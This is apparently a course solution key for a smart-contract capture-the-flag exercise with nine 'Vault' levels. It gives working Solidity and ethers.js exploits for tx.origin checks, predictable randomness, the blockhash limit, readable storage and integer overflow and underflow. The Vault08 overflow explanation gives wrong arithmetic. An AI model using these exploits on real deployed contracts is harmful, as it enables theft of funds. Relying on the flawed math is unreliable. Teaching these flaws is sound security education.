Smart Contracts Exercise 04: Unbreakable Vault – Solution

The solved exercise 4 can be found in this GitLab repository.

Vault01: A Password Password

To breach `Vault01`, you need to call the `breachVault` function in `test/Vault01.js` with the correct password. The password is the `keccak256` hash of the string `"password"`. Use `ethers.id("password")` to compute the hash and pass it to the function to successfully breach the vault. See id docs for more.

```
// Hash the "password" string using Keccak256
const hash = ethers.id("password");

// Breach the vault
await vault.connect(player).breachVault(hash);
```

Vault02: Packet Sender

To breach `Vault02`, you need to call the `breachVault` function with the correct password. The password is the `keccak256` hash of the `msg.sender` address. Use `ethers.solidityPacked` to mimic `abi.encodePacked(msg.sender)`, first encode the player's address. See solidityPacked docs for more.

```
// Using ethers.solidityPacked to mimic abi.encodePacked(msg.sender)
const encodedAddress = ethers.solidityPacked(["address"], [player.address]);

// Hash the encoded address using keccak256
const hash = ethers.keccak256(encodedAddress);

// Call breachVault with the derived value
await vault.connect(player).breachVault(hash);
```

Vault03: Origins

To breach `Vault03`, you need to bypass the requirement that `msg.sender` must not be equal to `tx.origin`. This means the function must be called from a smart contract rather than directly from an externally owned account (EOA).

Deploy the `Vault03Attack` contract, passing the vault's address as a parameter. Then, call the `attack` function from the attack contract, which in turn calls `breachVault()`. Since the attack contract acts as an intermediary, `msg.sender` will be the attack contract, while `tx.origin` remains the player's address, satisfying the vault's condition.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

interface IVault03 {
    function breachVault() external returns (bool);
}

contract Vault03Attack {
    IVault03 public vault;

    constructor(address _vaultAddress) {
        vault = IVault03(_vaultAddress);
    }

    function attack() external returns (bool) {
        return vault.breachVault(); // msg.sender != tx.origin
    }
}
```

This successfully updates `lastSolver` to the player's address, completing the challenge.

Vault04: Pseudo-Random Trap

To breach `Vault04`, you need to provide a correct guess computed using `block.timestamp` and `blockhash(block.number - 1)`. Since both values are accessible during the same transaction, you can compute the correct guess on-chain and submit it immediately. Deploy the `Vault04Attack` contract, passing the vault's address as a parameter. Then, call the `attack` function from the attack contract, which computes the guess and calls `breachVault()` with the correct value.

```
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.28;

    interface IVault04 {
        function breachVault(uint256 _password) external returns (bool);
    }

    contract Vault04Attack {
        IVault04 public vault;

        constructor(address _vaultAddress) {
            vault = IVault04(_vaultAddress);
        }

        // Function to perform the attack
        function attack() external returns (bool) {
            // Compute the guess using on-chain values in the same transaction.
            uint256 guess = uint256(
                keccak256(
                    abi.encodePacked(blockhash(block.number - 1), block.timestamp)
                )
            ) % 100;

            return vault.breachVault(guess);
        }
    }
```

Since the guess is derived from predictable on-chain data and is used within the same transaction, the attack works by ensuring the `blockhash` and `timestamp` remain valid when the vault processes the request.

Vault05: Fortune Teller

To breach `Vault05`, you need to use the `blockhash` of the block when the guess was locked in, but only after the next block has been mined. First, you lock the guess using `lockInGuess`. Then, you must wait for the next block and calculate the random number using `blockhash(lockInBlockNumber)`. The issue is that at the moment of locking in the password, we do not know the blockhash yet. We can only access the blockhash of the previous blocks. However, since the `blockhash` function only returns the blockhash for the last 256 blocks, otherwise it returns zero (see Solidity documentation). Therefore, we simply lock in a 0 and mine 256 blocks before calling `breachVault` function.

```
// Lock the zero
await vault.connect(player).lockInGuess(0);

// Mine 256 blocks
for (let i = 0; i < 256; i++) {
    await ethers.provider.send("evm_mine", []);
}

// Call breachVault()
await vault.connect(player).breachVault();
```

Vault06: Explorer

Since the contract is verified on Etherscan, you can view the constructor arguments on Sepolia Etherscan.

```
-----Decoded View---------------
Arg [0] : _password (string): younailedit

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [2] : 796f756e61696c6564697400000000000000000000000000000000000000000000
```

You can also find the password from a previous transactions that interacted with this contract. For example, see this transaction. The password is "younailedit".

Vault07: You Shall Not Pass!

To breach `Vault07`, you need to figure out the stored `password` string, which is located in the contract's storage. The storage layout of the contract reveals that the password is stored at slot 4.

First, retrieve the value stored in slot 4. The last byte of the stored value in this slot contains metadata, indicating the length of the password string. You can decode the password by using the first `length` bytes from the slot's value, where `length` is computed from the last byte metadata.

Name	Type	Slot	Offset	Bytes
lastSolver	address	0	0	20
small1	uint8	0	20	1
small2	uint16	0	21	2
isActive	bool	0	23	1
big1	uint256	1	0	32
hashData	bytes32	2	0	32
big2	uint256	3	0	32
password	string	4	0	32

Table 1: Storage layout of the Vault07 contract

After extracting the password string, you can compute the hash of the password using `keccak256(abi.encodePacked(password, playerAddress))`. Finally, pass the hashed password to the `breachVault` function to successfully breach the vault. The password is "youshallnotpassword".

```
// Read the storage value at slot 4
slotValue = await ethers.provider.getStorage(vaultAddress, 4);

// Decode the password from the storage value
const tagHex = slotValue.slice(-2);
const tag = parseInt(tagHex, 16);
const length = tag / 2;
const actualDataHex = "0x" + slotValue.slice(2, 2 + length * 2);
const actualPassword = ethers.toUtf8String(actualDataHex);

// Hash the password and address
const hashedPassword = ethers.solidityPackedKeccak256(
    ["string", "address"],
    [actualPassword, playerAddress]
);

// Call breachVault with the derived hashed password
const tx = await vault.breachVault(hashedPassword);
await tx.wait();
```

Vault08: Tokens for Free

To breach `Vault08`, you need to exploit an integer overflow vulnerability in the `buyTokens` function. Since the contract uses Solidity 0.7.6, which lacks built-in protection against overflow, you can find a value for `numTokens` that causes `numTokens * TOKEN_PRICE` to overflow to exactly 0. This allows you to purchase tokens without paying any ETH.

To achieve this, use a value for `numTokens` that, when multiplied by 1 ether (10^{18}), overflows and wraps around to exactly 0 in a uint256. A perfect value for this is 2^{238}, since $2^{238} \times 10^{18} = 2^{238} \times 2^{60} \approx 2^{298}$, which exceeds the maximum uint256 value ($2^{256} - 1$) and wraps around to 0.

```
// Connect to the vault contract as the player
const playerVault = vault.connect(player);
```

```
// Calculate the token amount that will cause an overflow
// 2^238 is chosen because when multiplied by 1 ether (10^18),
// it will overflow exactly to 0 in Solidity 0.7.6
const numTokens = BigInt(1) << BigInt(238);

// Call buyTokens with 0 ether value
// Due to integer overflow, numTokens * TOKEN_PRICE will be 0
await playerVault.buyTokens(numTokens, { value: 0 });

// Verify that we received the tokens
const playerBalance = await vault.tokenBalances(playerAddress);
console.log("Player token balance:", playerBalance.toString());

// Call breachVault to complete the challenge
await playerVault.breachVault();
```

Vault09: Less Is More

To breach `Vault09`, you need to exploit an integer underflow vulnerability in the `transferFrom` function. The key observation is that the contract checks if the message sender has enough tokens, but not whether the `from` address has enough tokens. This allows you to cause an underflow in the `tokenBalances[from] -= amount` operation.

First, deploy an attack contract that will interact with the vulnerable vault. Then, from your account (which starts with 1 token), approve the attack contract to spend tokens on your behalf. Next, have the attack contract call `transferFrom` to transfer more tokens than you actually have, causing an integer underflow in your token balance.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

interface IVault09 {
    function transferFrom(address from, address to, uint256 amount) external;
}

contract Vault09Attack {
    // Reference to the vulnerable vault contract
    IVault09 public vault;
    // Address of the player who deployed this contract
    address immutable playerAddress;

    constructor(address _vaultAddress) {
        vault = IVault09(_vaultAddress);
        playerAddress = msg.sender;
    }

    /**
     * @notice Performs the attack by triggering an underflow in the vault contract
     * @dev This exploit works because Solidity 0.7.6 doesn't have default overflow/
    underflow protection
     */
    function attack() external {
        // Transfer 1 token from player that has 0 tokens
        // The player amount will underflow and become 2**256 - 1
        vault.transferFrom(playerAddress, address(this), 1);
    }
```

```
}
```

Complete the attack with the following JavaScript code:

```
// Deploy the attacker contract from the player's account.
attackVault = await ethers.deployContract("Vault09Attack", [vault.target], player);
await attackVault.waitForDeployment();

console.log("Exploit contract deployed at:", attackVault.target);

// Player approves the exploit contract to spend any 2 tokens
await vault.connect(player).approve(attackVault.target, 2);

// Player transfers 1 token to the attack contract
await vault.connect(player).transferFrom(playerAddress, attackVault.target, 1);

// Execute the attack
const tx = await attackVault.attack();
await tx.wait();

// Break the vault
await vault.connect(player).breachVault();
```